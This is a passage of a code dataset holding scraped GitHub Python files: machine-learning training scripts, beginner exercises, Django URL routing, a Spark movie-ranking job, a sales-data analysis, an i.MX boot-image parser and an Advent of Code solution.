print('Repeats', i + 1, '/', repeats))],\n epochs=epochs,\n validation_data=test_seq)\n\n seqtest.append(model.evaluate_generator(test_seq))\n\n predictions = model.predict_generator(test_seq)\n predictions = np.argmax(predictions, axis=1)\n cm = confusion_matrix(np.argmax(y_test[time_steps:], axis=1), predictions)\n print(cm)\n print()\n print()\n\n cm = ml.cm_to_percentage(cm)\n print(cm)\n with open(\"ConfusionMatrix_dropout.csv\", 'w', newline='') as cm_file:\n writer = csv.writer(cm_file)\n for row in cm:\n writer.writerow(row)\n\n plt.subplot(2, 1, 1)\n plt.plot(history.history['loss'], color='blue')\n plt.plot(history.history['val_loss'], color='orange')\n plt.title('model loss')\n plt.ylabel('loss')\n plt.xlabel('epoch')\n plt.legend(['train', 'test'], loc='upper left')\n\n plt.subplot(2, 1, 2)\n plt.plot(history.history['acc'], color='blue')\n plt.plot(history.history['val_acc'], color='orange')\n plt.title('model accuracy')\n plt.ylabel('accuracy')\n plt.xlabel('epoch')\n plt.legend(['train', 'test'], loc='upper left')\n\n if plot:\n plt.tight_layout()\n plt.savefig(plotFile, format='svg')\n\n\n if export:\n json_model = model.to_json()\n with open(\"Model\\\\\" + modelSaveFile, 'w') as file:\n file.write(json_model)\n model.save_weights(\"Model\\\\\" + weightSaveFile)\n\nplt.show()\nwith open(resultFile, 'w') as file:\n writer = csv.writer(file)\n for row in seqtest:\n writer.writerow(row)\n\nml.sum_print(starttime, repeats, seqtest)\n\n#pyplot.plot(history['train'], color='blue')\n#pyplot.plot(history['test'], color='orange')\n#print('%d) TrainRMSE=%f, TestRMSE=%f' % (i, history['train'].iloc[-1], history['test'].iloc[-1]))\n","repo_name":"thomjohs/Kandidat","sub_path":"ML_tester.py","file_name":"ML_tester.py","file_ext":"py","file_size_in_byte":7758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"37889725279","text":"import random\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom network.english import EnglishLSTM, EnglishCNN\nfrom network.en_rythm import EnglishRythmLSTM\nfrom network.japanese import JapaneseLSTM\nfrom network.ja_rythm import JapaneseRythmLSTM\nfrom util.data import DataManager\nimport sys\n\nfrom chainer import Variable\nfrom chainer import optimizers\nfrom chainer import serializers\nimport chainer.functions as F\n\n\n###\n# English -> LSTM\n###\ndef train(params):\n en_model = EnglishLSTM(len(params['en_list']))\n en_rythm_model = EnglishRythmLSTM(len(params['en_rythm_list']))\n ja_model = JapaneseLSTM(len(params['ja_list']))\n ja_rythm_model = JapaneseRythmLSTM(len(params['ja_rythm_list']))\n data = {\n # 'english': en_model.get_train_data(params['english'], params['batch_size']), #並列\n # 'en_rythm': en_model.get_train_data(params['en_rythm'], params['batch_size'])\n 'english' : params['english'],\n 'en_rythm': params['en_rythm'],\n 'japanese' : params['japanese'],\n 'ja_rythm': params['ja_rythm'],\n }\n\n # 最適化アルゴリズムにAdamを採用\n optimizer = [\n optimizers.Adam().setup(en_model),\n optimizers.Adam().setup(en_rythm_model),\n optimizers.Adam().setup(ja_model),\n optimizers.Adam().setup(ja_rythm_model),\n ]\n\n loss_list = []\n step = []\n for epoch in range(params['epoch_num']):\n print(\"epoch: %d\" % (epoch+1))\n loss = 0.0\n # 英語歌詞の学習\n en_model.reset()\n for index, (en_phrase, en_rythm_phrase, ja_phrase, ja_rythm_phrase) in enumerate(zip(data['english'], data['en_rythm'], data['japanese'], data['ja_rythm'])):\n # 曲が違う場合は状態をリセット\n if len(en_phrase) == 0:\n en_model.reset()\n en_rythm_model.reset()\n continue\n # if len(en_rythm_phrase) == 0:\n # en_rythm_model.reset()\n # continue\n # if len(ja_phrase) == 0:\n # ja_model.reset()\n # continue\n # 英語の歌詞\n for word in en_phrase:\n y_en = en_model.forward(word, params['en_list'])\n # 英語のリズム\n for rythm in en_rythm_phrase:\n y_en_rythm = en_rythm_model.forward(rythm, params['en_rythm_list'])\n\n # 出力を足し合わせる\n h = y_en + y_en_rythm\n\n # hから日本語の1単語目を推測\n tx = Variable(np.array([params['ja_list'][ja_phrase[0]]], dtype=np.int32))\n loss += F.softmax_cross_entropy(ja_model.predict(h), tx)\n # 足し合わせた出力から日本語を出力\n for index, word in enumerate(ja_phrase):\n y_ja = ja_model.forward(word, params['ja_list'])\n if word != '':\n tx = Variable(np.array([params['ja_list'][ja_phrase[index+1]]], dtype=np.int32))\n # print(y_ja, tx)\n loss += F.softmax_cross_entropy(y_ja, tx)\n\n # hから日本語の1つ目のリズムを推測\n tx = Variable(np.array([params['ja_rythm_list'][ja_rythm_phrase[0]]], dtype=np.int32))\n loss += F.softmax_cross_entropy(ja_rythm_model.predict(h), tx)\n # 足し合わせた出力から日本語のリズムを出力\n for index, rythm in enumerate(ja_rythm_phrase):\n y_ja_rythm = ja_rythm_model.forward(rythm, params['ja_rythm_list'])\n if rythm != '':\n tx = Variable(np.array([params['ja_rythm_list'][ja_rythm_phrase[index+1]]], dtype=np.int32))\n # print(y_ja, tx)\n loss += F.softmax_cross_entropy(y_ja_rythm, tx)\n # print(ja_model.l1.upward.W.grad)\n en_model.cleargrads()\n en_rythm_model.cleargrads()\n ja_model.cleargrads()\n ja_rythm_model.cleargrads()\n\n loss.backward()\n loss.unchain_backward()\n ja_model.reset()\n ja_rythm_model.reset()\n for opt in optimizer:\n opt.update()\n\n # lossの可視化\n step.append(epoch+1)\n loss_list.append(loss.data)\n\n print(loss)\n # モデルとして保存\n serializers.save_hdf5('models/en_model_' + str(params['epoch_num']), en_model)\n serializers.save_hdf5('models/en_rythm_model_' + str(params['epoch_num']), en_rythm_model)\n serializers.save_hdf5('models/ja_model_' + str(params['epoch_num']), ja_model)\n serializers.save_hdf5('models/ja_rythm_model_' + str(params['epoch_num']), ja_rythm_model)\n\n # 学習過程のlossグラフ\n plt.plot(step, loss_list)\n plt.title(\"Training Data\")\n plt.xlabel(\"step\")\n plt.ylabel(\"loss\")\n plt.grid(True)\n plt.show()\n\ndef predict(params, filename):\n en_model = EnglishLSTM(len(params['en_list']))\n en_rythm_model = EnglishRythmLSTM(len(params['en_rythm_list']))\n ja_model = JapaneseLSTM(len(params['ja_list']))\n ja_rythm_model = JapaneseRythmLSTM(len(params['ja_rythm_list']))\n\n serializers.load_hdf5('models/en_model_' + str(params['epoch_num']), en_model)\n serializers.load_hdf5('models/en_rythm_model_' + str(params['epoch_num']), en_rythm_model)\n serializers.load_hdf5('models/ja_model_' + str(params['epoch_num']), ja_model)\n serializers.load_hdf5('models/ja_rythm_model_' + str(params['epoch_num']), ja_rythm_model)\n x1 = [\n 'are',\n 'you',\n 'going',\n 'to',\n 'scarborough',\n 'fair',\n '?',\n ''\n ]\n x2 = [\n '48',\n '24',\n '24',\n '24',\n '24',\n '36',\n '12',\n '24',\n '72',\n '',\n ]\n arr = [k for k in params['ja_list']]\n arr2 = [k for k in params['ja_rythm_list']]\n ja_y = \"\"\n ja_rythm_y = \"\"\n while((ja_y != '') and (ja_rythm_y != '')):\n for x in x1:\n y1 = en_model.forward(x, params['en_list'])\n for x in x2:\n y2 = en_rythm_model.forward(x, params['en_rythm_list'])\n\n h = y1 + y2\n\n # hから1つ目の単語を推測\n y3 = ja_model.predict(h)\n\n prob = F.softmax(y3.data).data\n prob = prob.argmax(axis=1)\n prob = int(prob)\n ja_y = arr[prob]\n # ja_y = str(np.random.choice(arr, p = prob[0]))\n print(ja_y)\n\n while(ja_y != ''):\n y3 = ja_model.forward(ja_y, params['ja_list'])\n prob = F.softmax(y3.data).data\n prob = prob.argmax(axis=1)\n prob = int(prob)\n ja_y = arr[prob]\n # ja_y = str(np.random.choice(arr, p = prob[0]))\n print(ja_y)\n\n\n # hから1つ目のリズムを推測\n y4 = ja_rythm_model.predict(h)\n\n prob = F.softmax(y4.data).data\n ja_rythm_y = str(np.random.choice(arr2, p = prob[0]))\n print(ja_rythm_y)\n\n while(ja_rythm_y != ''):\n y4 = ja_rythm_model.forward(ja_rythm_y, params['ja_rythm_list'])\n prob = F.softmax(y4.data).data\n ja_rythm_y = str(np.random.choice(arr2, p = prob[0]))\n print(ja_rythm_y)\n\ndef get_data_arr(filename):\n file = open(filename)\n line = file.read()\n line = line.strip()\n file.close()\n return line.split(\"\\n\")\n\nif __name__==\"__main__\":\n data_manager = DataManager()\n epoch_num = 350\n # read data\n en_data = get_data_arr(\"./data/english.txt\")\n en_rythm = get_data_arr(\"./data/en_rythm.txt\")\n ja_data = get_data_arr(\"./data/japanese.txt\")\n ja_rythm = get_data_arr(\"./data/ja_rythm.txt\")\n\n params = {\n 'epoch_num': epoch_num,\n 'english': data_manager.get_splite_list(en_data[:]),\n 'en_rythm': data_manager.get_splite_list(en_rythm[:]),\n 'japanese': data_manager.get_splite_list(ja_data[:]),\n 'ja_rythm': data_manager.get_splite_list(ja_rythm[:]),\n 'batch_size': 5,\n 'en_list': data_manager.get_word_list(en_data[:]),\n 'en_rythm_list': data_manager.get_word_list(en_rythm[:]),\n 'ja_list': data_manager.get_word_list(ja_data[:]),\n 'ja_rythm_list': data_manager.get_word_list(ja_rythm[:]),\n }\n\n # train(params)\n predict(params, 'models/model_3.npz')\n","repo_name":"yanoooooo/translation_ML","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"41332836576","text":" \n # JUAN DIEGO RIVERA MENESES \n# FICHA: 2274935\n\nimport math\n#ITERACION SIMPLE DE WHILE \nn = 2\nwhile n<=10:\n print(n)\n n += 1\nprint(\"Ciclo terminado\") \n \n\n# CICLO WHILE \nnum=int(input(\"Please insert a number\"))\n\nwhile num <0:\n print(f\"this number is negative, insert a positive\")\n num=int(input(\"Please insert a number again\"))\nelse:\n print(f\"This number is valid\") \n\n\n\n# CICLO WHILE CON OPERACION MATEMATICA RAIZ CUADRADA\nnumber= int(input(\"Insert a number:\"))\n\nwhile number<0:\n print(\"Alert, the number must be positive\")\n number= int(input(\"Insert number again:\"))\n\nprint(f\"\\nYour square root is : {(math.sqrt(number)):.2f}\")\n# :.2F -->LLAMA A SOLO 2 DECIMALES DE RESULTADO \n","repo_name":"DiegoRiveraDev97/pythonexercises","sub_path":"videos_youtube/ciclo while.py","file_name":"ciclo while.py","file_ext":"py","file_size_in_byte":834,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"33591151008","text":"from ogrencii import Ogrenci\n\nfrom sınıf import Ogretmen\n\nögrenciList = []\nögretmenList = []\n\n\nwhile(1):\n\n grup = int(input(\"öğrenci için 1,ogretmen icin 2 tikla: \" ))\n islem = int(input(\"Yapacağiniz islemi seciniz(1 = ekleme,2=listeleme): \"))\n name = input(\"name: \")\n major = input(\"major: \")\n\n \n\n\n\n\n def ekleme():\n if grup == 1:\n ogrenci = Ogrenci(name,major)\n ögrenciList.append(ogrenci)\n elif grup == 2 :\n ogretmen = Ogretmen(name,major)\n ögretmenList.append(ogretmen)\n\n\n def listele():\n if grup == 1:\n for i in range(len(ögrenciList)):\n print(ögrenciList[i].name , ögrenciList[i].major)\n \n\n ekleme() \n listele()\n\n \n\n\n\n \n\n\n\n\n\n\n\n\n\n","repo_name":"sercanulasss/etiyaakademi","sub_path":"pair1104/sınıflistele.py","file_name":"sınıflistele.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"21998639117","text":"from django.urls import include, path\nfrom rest_framework.routers import DefaultRouter\nfrom users.views import GetTokenView, SignUpView, UserViewSet\n\nfrom .views import (CategoryViewSet, CommentViewSet, GenreViewSet,\n ReviewViewSet, TitleViewSet)\n\nrouter = DefaultRouter()\n\nrouter.register('categories', CategoryViewSet, basename='categories')\nrouter.register('genres', GenreViewSet, basename='genres')\nrouter.register(r'titles', TitleViewSet, basename='titles')\nrouter.register(r'titles/(?P\\d+)/reviews',\n ReviewViewSet, basename='reviews')\nrouter.register(r'titles/(?P\\d+)/reviews/(?P\\d+)'\n r'/comments', CommentViewSet, basename='comments')\nrouter.register(r'users', UserViewSet, basename='users')\n\nurlpatterns = [\n path('v1/', include(router.urls)),\n path('v1/auth/signup/', SignUpView.as_view()),\n path('v1/auth/token/', GetTokenView.as_view()),\n]\n","repo_name":"DostovaK/api_yamdb","sub_path":"api_yamdb/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":942,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"26278464088","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Sep 7 15:28:00 2020\r\n\r\n@author: Frank\r\n\"\"\"\r\n\r\nfrom pyspark.sql import SparkSession\r\nfrom pyspark.sql import functions as func\r\nfrom pyspark.sql.types import StructType, StructField, IntegerType, LongType\r\nimport codecs\r\n\r\ndef loadMovieNames():\r\n movieNames = {}\r\n # CHANGE THIS TO THE PATH TO YOUR u.ITEM FILE:\r\n with codecs.open(\"E:/SparkCourse/ml-100k/u.ITEM\", \"r\", encoding='ISO-8859-1', errors='ignore') as f:\r\n for line in f:\r\n fields = line.split('|')\r\n movieNames[int(fields[0])] = fields[1]\r\n return movieNames\r\n\r\nspark = SparkSession.builder.appName(\"PopularMovies\").getOrCreate()\r\n\r\nnameDict = spark.sparkContext.broadcast(loadMovieNames())\r\n\r\n# Create schema when reading u.data\r\nschema = StructType([ \\\r\n StructField(\"userID\", IntegerType(), True), \\\r\n StructField(\"movieID\", IntegerType(), True), \\\r\n StructField(\"rating\", IntegerType(), True), \\\r\n StructField(\"timestamp\", LongType(), True)])\r\n\r\n# Load up movie data as dataframe\r\nmoviesDF = spark.read.option(\"sep\", \"\\t\").schema(schema).csv(\"file:///SparkCourse/ml-100k/u.data\")\r\n\r\nmovieCounts = moviesDF.groupBy(\"movieID\").count()\r\n\r\n# Create a user-defined function to look up movie names from our broadcasted dictionary\r\ndef lookupName(movieID):\r\n return nameDict.value[movieID]\r\n\r\nlookupNameUDF = func.udf(lookupName)\r\n\r\n# Add a movieTitle column using our new udf\r\nmoviesWithNames = movieCounts.withColumn(\"movieTitle\", lookupNameUDF(func.col(\"movieID\")))\r\n\r\n# Sort the results\r\nsortedMoviesWithNames = moviesWithNames.orderBy(func.desc(\"count\"))\r\n\r\n# Grab the top 10\r\nsortedMoviesWithNames.show(10, False)\r\n\r\n# Stop the session\r\nspark.stop()\r\n","repo_name":"ShubhamGupta505/Spark","sub_path":"Advance_Spark/popular-movies-nice-dataframe.py","file_name":"popular-movies-nice-dataframe.py","file_ext":"py","file_size_in_byte":1784,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"77"} +{"seq_id":"37665126425","text":"nota_1 = float(input(\"Digite a primeira nota: \"))\nnota_2 = float(input(\"Digite a segunda nota: \"))\nmedia = round((nota_1 + nota_2)/ 2, 1)\nprint (\"As notas foram = \", nota_1, \"e\", nota_2)\nprint (\"A média é = \", round(media, 1))\nif(media >= 9.0):\n conceito = \"A\"\nelif ((media >= 7.5) and (media < 9)):\n conceito = \"B\"\nelif ((media >= 6) and (media < 7.5)):\n conceito = \"C\"\nelif ((media >= 4) and (media < 6)):\n conceito = \"D\"\nelse:\n conceito = \"E\"\n\nprint (\"O conceito = \"+ conceito)\n\nif (media >= 6):\n print (\"O aluno está Aprovado.\")\nelse:\n print (\"O aluno está Reprovado.\")\n","repo_name":"andreFatec4/ProgBD2","sub_path":"aula2ExProp2.py","file_name":"aula2ExProp2.py","file_ext":"py","file_size_in_byte":599,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"11933296578","text":"#João Vitor Dias Ximenez - 9351203\r\n#Tarefa 1 - NEU - Data Science\r\n\r\nimport pandas as pd\r\nfrom matplotlib import pyplot as plt\r\n\r\n\r\n\r\ndef main():\r\n train = pd.read_csv('train.csv')\r\n resposta = 10\r\n while resposta != 0:\r\n resposta = int(input(\"Boa tarde, digite o número do exercício que quer resolver\\n1-Exercicio 1\\n2-Exercicio 2\\n3-Exercicio 3\\n4-Exercicio 4\\nResposta: \"))\r\n if resposta == 1:\r\n print('Tarefa 1:')\r\n print(\"O gráfico de barras é o melhor, pois mostra a variação dos valores com o tempo. Como o resultado de vendas não esta necessariamente ligado ao resultado das vendas anteriores, um grafico de dispersão ou curva não se adequaria\")\r\n train['Media'] = train['Weekly_Sales']*(0.022) #divisão de valores para se obter a média\r\n train.groupby(by='Date').agg({'Media':'sum'} ).plot.bar(legend='', fontsize=3)\r\n plt.title('Vendas totais por semana')\r\n plt.xlabel('Data')\r\n plt.ylabel('Vendas por semana')\r\n plt.xticks(rotation=45)\r\n plt.show()\r\n \r\n\r\n \r\n \r\n if resposta == 2: \r\n print('Tarefa 2')\r\n train2 = train.groupby(by='Store').agg({'Weekly_Sales':'sum'})\r\n train2 = train2.sort_values(by='Weekly_Sales',ascending=False)\r\n\r\n train2.head(10).plot.bar(legend='')\r\n plt.title('Melhores lojas')\r\n plt.xlabel('Lojas')\r\n plt.ylabel('Vendas no periodo')\r\n plt.xticks(rotation=45)\r\n plt.show()\r\n\r\n train2 = train2.sort_values(by='Weekly_Sales',ascending=False).reset_index()\r\n\r\n\r\n \r\n array = []\r\n for i in range(10):\r\n array.append(train2['Store'][i])\r\n print(\"\\n Lojas que tiveram maior performance: \")\r\n print(array)\r\n print(\"\\n Para evitar a poluição dos dados, o grafico de cada uma das lojas pode ser visto na função abaixo, separadamente\")\r\n graf = int(input('de 1 a 10, qual grafico gostaria de ver? '))\r\n while graf > 0 and graf < 11:\r\n train.groupby(by='Date').agg({'Weekly_Sales':'sum'}).plot.bar(legend='')\r\n filtro = train['Store'] == train2['Store'][graf-1]\r\n train3 = train[filtro].groupby(by='Date').agg({'Weekly_Sales':'sum'}).plot.bar(legend='')\r\n plt.xlabel('Data')\r\n plt.ylabel('Vendas por semana')\r\n plt.xticks(rotation=45)\r\n plt.show()\r\n graf = int(input('de 1 a 10, qual grafico gostaria de ver? ')) \r\n \r\n\r\n\r\n if resposta == 3:\r\n\r\n print('Tarefa 3')\r\n train2 = train.groupby(by='Store').agg({'Weekly_Sales':'sum'})\r\n train2 = train2.sort_values(by='Weekly_Sales',ascending=True)\r\n\r\n train2.head(10).plot.bar(legend='')\r\n plt.title('Melhores lojas')\r\n plt.xlabel('Lojas')\r\n plt.ylabel('Vendas no periodo')\r\n plt.xticks(rotation=45)\r\n plt.show()\r\n\r\n train2 = train2.sort_values(by='Weekly_Sales',ascending=False).reset_index()\r\n\r\n\r\n \r\n array = []\r\n for i in range(10):\r\n array.append(train2['Store'][i])\r\n print(\"\\n Lojas que tiveram pior performance: \")\r\n print(array)\r\n print(\"\\n Para evitar a poluição dos dados, o grafico de cada uma das lojas pode ser visto na função abaixo, separadamente\")\r\n graf = int(input('de 1 a 10, qual grafico gostaria de ver? '))\r\n while graf > 0 and graf < 11:\r\n train.groupby(by='Date').agg({'Weekly_Sales':'sum'})\r\n filtro = train['Store'] == train2['Store'][graf-1]\r\n train3 = train[filtro].groupby(by='Date').agg({'Weekly_Sales':'sum'}).plot.bar(legend='')\r\n plt.xlabel('Data')\r\n plt.ylabel('Vendas por semana')\r\n plt.xticks(rotation=45)\r\n plt.show()\r\n graf = int(input('de 1 a 10, qual grafico gostaria de ver? '))\r\n\r\n\r\n\r\n print('Tarefa 3:')\r\n df2 = train.groupby(by='Date').mean()\r\n plt.bar(df2.index,df2['Weekly_Sales'],label='Vendas Totais por data')\r\n plt.xticks(rotation=45)\r\n plt.title('Vendas totais por semana')\r\n plt.legend()\r\n plt.show()\r\n\r\n print(\"Comparação entre os graficos de maior e menos performance: \")\r\n train2 = train.groupby(by='Store').agg({'Weekly_Sales':'sum'})\r\n train2 = train2.sort_values(by='Weekly_Sales',ascending=False)\r\n train3 = train.groupby(by='Store').agg({'Weekly_Sales':'sum'})\r\n train3 = train3.sort_values(by='Weekly_Sales',ascending=True)\r\n df2 = train2.head(10)\r\n df3 = train3.head(10)\r\n plt.bar(df2.index,df2['Weekly_Sales'],label='Melhores')\r\n plt.bar(df3.index,df3['Weekly_Sales'],label='Piores')\r\n\r\n \r\n plt.title('Melhores e piores lojas')\r\n plt.xlabel('Lojas')\r\n plt.ylabel('Vendas no periodo')\r\n plt.xticks(rotation=0)\r\n plt.legend()\r\n plt.show()\r\n\r\n \r\n \r\n\r\n if resposta == 4:\r\n \r\n\r\n filtro = train['IsHoliday'] == False\r\n filtro2 = train['IsHoliday'] == True\r\n train3 = train[filtro].groupby(by='Date').agg({'Weekly_Sales':'sum'})\r\n train4 = train[filtro2].groupby(by='Date').agg({'Weekly_Sales':'sum'})\r\n train5 = train.groupby(by='IsHoliday').agg({'Weekly_Sales':'sum'}).reset_index()\r\n \r\n cferiado = train5['Weekly_Sales'][0]/train3.shape[0]\r\n sferiado = train5['Weekly_Sales'][1]/train4.shape[0]\r\n print('Media por semana sem feriado', sferiado)\r\n print('Media por semana com feriado', cferiado,train4.shape[0])\r\n print(cferiado/sferiado*100,'%')\r\n plt.bar(['Com Feriado','Sem Feriado'],[cferiado,sferiado])\r\n print('A princípio, os feriados afetam positivamente nas vendas')\r\n train3 = train[filtro].groupby(by='Date').agg({'Weekly_Sales':'median'})\r\n train4 = train[filtro2].groupby(by='Date').agg({'Weekly_Sales':'median'})\r\n print('Mediana por semana sem feriado', train5['Weekly_Sales'][0])\r\n print('Mediana por semana com feriado',train5['Weekly_Sales'][1] )\r\n\r\n \r\n plt.show()\r\n \r\n df2 = train3\r\n df3 = train4\r\n plt.bar(df3.index,df3['Weekly_Sales'],label='Sem Feriado')\r\n plt.bar(df2.index,df2['Weekly_Sales'],label='Feriado')\r\n\r\n \r\n plt.title('Melhores e piores lojas')\r\n plt.xlabel('Lojas')\r\n plt.ylabel('Vendas no periodo')\r\n plt.xticks(rotation=45)\r\n plt.legend()\r\n plt.show()\r\n \r\n \r\n \r\n \r\n \r\n\r\n\r\n \r\n #filtro = train.groupby(by=['IsHoliday'].agg({'Weekly_Sales':'sum'})\r\n #train2 = train2.sort_values(by='Weekly_Sales',ascending=True)\r\n\r\n print('Tarefa 4:')\r\n\r\n \r\n \r\n \r\n \r\nmain()\r\n\r\n","repo_name":"jvximenez/CursoNEU","sub_path":"JoaoXimenez- Tarefa 1 Data science.py","file_name":"JoaoXimenez- Tarefa 1 Data science.py","file_ext":"py","file_size_in_byte":7389,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"25364297183","text":"from typing import List, cast\nfrom exponent_server_sdk import PushClient, PushMessage\nfrom i18n import t\n\nfrom backend.dal import user as user_dal\n\n\ndef notify_mobile(recipients: List[str], title: str, message: str):\n message += t('notifications.details')\n for user_email in recipients:\n user_devices = cast(List[str], user_dal.get_attributes(\n user_email, ['devices_to_notify']).get('devices_to_notify', []))\n for device_token in user_devices:\n PushClient().publish(\n PushMessage(\n body=message,\n sound='default',\n title=title,\n to=device_token,\n )\n )\n","repo_name":"tom-vanbraband-sonarsource/integrates","sub_path":"django-apps/integrates-back/backend/utils/notifications.py","file_name":"notifications.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"25768483058","text":"from sys import argv, stderr\nfrom struct import unpack\nfrom os import path\nfrom collections import namedtuple\nfrom traceback import print_exc\n\nSIZEOFINT = 4\n\n\nclass IMX_IMG_Reader:\n imgfile = None\n ivt = None\n dcd_header = None\n Header = None\n dcd_cmdseq = []\n\n def __init__(self, imgpath):\n self.imgfile = open(imgpath, 'rb')\n self.Header = namedtuple('Header', 'tag length version')\n self.WriteCmd = namedtuple('WriteCmd', 'bytes mask set oplist')\n self.WriteOp = namedtuple('WriteOp', 'address value')\n\n\n def __header_get(self):\n data = self.imgfile.read(SIZEOFINT)\n return self.Header._make(unpack('>BHB', data))\n\n\n def ivt_check(self):\n if not self.ivt:\n self.ivt_read()\n\n if not getattr(self.ivt, 'tag') == 0xd1:\n print(\"IVT incorrect header tag (0x%x vs 0xd1)\" %\n getattr(self.ivt, 'tag'))\n return False\n\n if not getattr(self.ivt, 'length') == 32:\n print(\"IVT incorrect header length (0x%x vs 0x20)\" %\n getattr(self.ivt, 'length'))\n return False\n\n version = getattr(self.ivt, 'version')\n if version != 0x40 and version != 0x41:\n print(\"IVT incorrect version field (0x%x)\" % version)\n return False\n\n if getattr(self.ivt, 'reserved1') != 0:\n print(\"IVT incorrect reserved field 1 (0x%x)\" %\n getattr(self.ivt, 'reserved1'))\n return False\n if getattr(self.ivt, 'reserved2') != 0:\n print(\"IVT incorrect reserved field 2 (0x%x)\" %\n getattr(self.ivt, 'reserved2'))\n return False\n\n if version == 0x40:\n print(\"Image version 0x40\")\n elif version == 0x41:\n print(\"Image version 0x41\")\n\n return True\n\n\n def ivt_read(self):\n self.imgfile.seek(0, 0)\n Ivt = namedtuple('IVT', 'tag length version entry, reserved1, dcd, ' \\\n 'bootdata, selfaddr, csf, reserved2')\n header = self.__header_get()\n data = self.imgfile.read(SIZEOFINT * 7)\n self.ivt = Ivt._make(header + unpack(\"II', data[pos:pos + 8]))\n cmdlist.append(cmd)\n pos += 8\n\n param = getattr(header, 'version')\n nbbytes = param & 0x7\n maskbit = param & (1 << 3)\n setbit = param & (1 << 4)\n if nbbytes != 1 and nbbytes != 2 and nbbytes != 4:\n print(\"Write cmd: Invalid number of bytes\")\n return\n\n cmd = self.WriteCmd(nbbytes, maskbit, setbit, cmdlist)\n self.dcd_cmdseq.append(cmd)\n\n\n def __dcd_cmd_check(self, header):\n print(\"Command check unmanaged yet\")\n return None\n\n\n def __dcd_cmd_nop(self, header):\n print(\"Command nop unmanaged yet\")\n return None\n\n\n def __dcd_cmd_unlock(self, header):\n print(\"Command unlock unmanaged yet\")\n return None\n\n\n def dcd_read(self):\n if not self.ivt:\n self.ivt_read()\n self.dcd_cmdseq = []\n\n offset = getattr(self.ivt, 'dcd') - getattr(self.ivt, 'selfaddr')\n self.imgfile.seek(offset, 0)\n self.dcd_header = self.__header_get()\n\n length = getattr(self.dcd_header, 'length')\n # We already read 4 bytes, the header\n length -= SIZEOFINT\n pos = 0\n while length > 0:\n cmd_header = self.__header_get()\n tag = getattr(cmd_header, 'tag')\n if tag == 0xCC:\n self.__dcd_cmd_write(cmd_header)\n elif tag == 0xCF:\n self.__dcd_cmd_check(cmd_header)\n elif tag == 0xCF:\n self.__dcd_cmd_check(cmd_header)\n elif tag == 0xCF:\n self.__dcd_cmd_check(cmd_header)\n else:\n print(\"Unknown command\", hex(tag))\n length -= getattr(cmd_header, 'length')\n return self.dcd_cmdseq\n\n\n def __dcd_cmd_write_dump(self, cmd):\n nbbytes = getattr(cmd, 'bytes')\n setbit = getattr(cmd, 'set')\n maskbit = getattr(cmd, 'mask')\n print(\"%d-bytes write sequence (%d %d)\" %\n (getattr(cmd, 'bytes'), setbit, maskbit))\n if not maskbit:\n op = '='\n elif setbit:\n op = '|='\n else:\n op = '~='\n for cmdop in getattr(cmd, 'oplist'):\n address = getattr(cmdop, \"address\")\n address &= (1 << (nbbytes * 8)) - 1\n print(\"*0x%08x %s 0x%08x\" % (address, op,\n getattr(cmdop, \"value\")))\n\n\n def dcd_dump(self):\n for cmd in self.dcd_cmdseq:\n if isinstance(cmd, self.WriteCmd):\n try:\n self.__dcd_cmd_write_dump(cmd)\n except:\n print(\"Error in commands:\")\n print_exc(2)\n\n\n def __dcd_cmd_write_dump2tcl(self, cmd):\n nbbytes = getattr(cmd, 'bytes')\n setbit = getattr(cmd, 'set')\n maskbit = getattr(cmd, 'mask')\n\n if maskbit:\n stderr.print(\"Operation not managed yet\")\n return\n\n for cmdop in getattr(cmd, 'oplist'):\n address = getattr(cmdop, \"address\")\n address &= (1 << (nbbytes * 8)) - 1\n value = getattr(cmdop, \"value\")\n print(\"mww phys 0x%08x 0x%08x\" % (address, value))\n\n\n def dcd_dump2tcl(self):\n for cmd in self.dcd_cmdseq:\n if isinstance(cmd, self.WriteCmd):\n try:\n self.__dcd_cmd_write_dump2tcl(cmd)\n except:\n print(\"Error in commands:\")\n print_exc(2)\n\n\ndef main(argv):\n if len(argv) < 2:\n print(\"Missing file argument\")\n return -1\n\n try:\n reader = IMX_IMG_Reader(argv[1])\n reader.ivt_read()\n reader.dcd_read()\n reader.dcd_dump2tcl()\n except IOError as e:\n print(\"I/O error({0}): {1}\".format(e.errno, e.strerror))\n\nmain(argv)\n","repo_name":"JimmyDurandWesolowski/env-xvisor","sub_path":"scripts/imxheader2tcl.py","file_name":"imxheader2tcl.py","file_ext":"py","file_size_in_byte":7042,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"44671936205","text":"# --- Day 11: Monkey in the Middle ---\nfrom pprint import pprint\nfrom numpy import prod\nfrom tqdm import trange\nfrom copy import deepcopy\n\nmonkeys = {}\nwith open(\"example.txt\") as fp:\n for monkey in fp.read().split(\"\\n\\n\"):\n a, b, c, d, e, f = monkey.splitlines()\n i = int(a[-2])\n items = [int(x) for x in b[18:].split(\", \")]\n op = c[13:]\n divisor = int(d.split()[-1])\n true = int(e.split()[-1])\n false = int(f.split()[-1])\n monkeys[i] = {\n \"items\": items,\n \"op\": op,\n \"divisor\": divisor,\n True: true,\n False: false,\n \"inspections\": 0,\n }\n\n\nmonkeys_one = deepcopy(monkeys)\nfor _ in trange(20):\n for monkey in monkeys_one.values():\n monkey[\"inspections\"] += len(monkey[\"items\"])\n for old in monkey[\"items\"].copy():\n exec(monkey[\"op\"])\n new //= 3\n 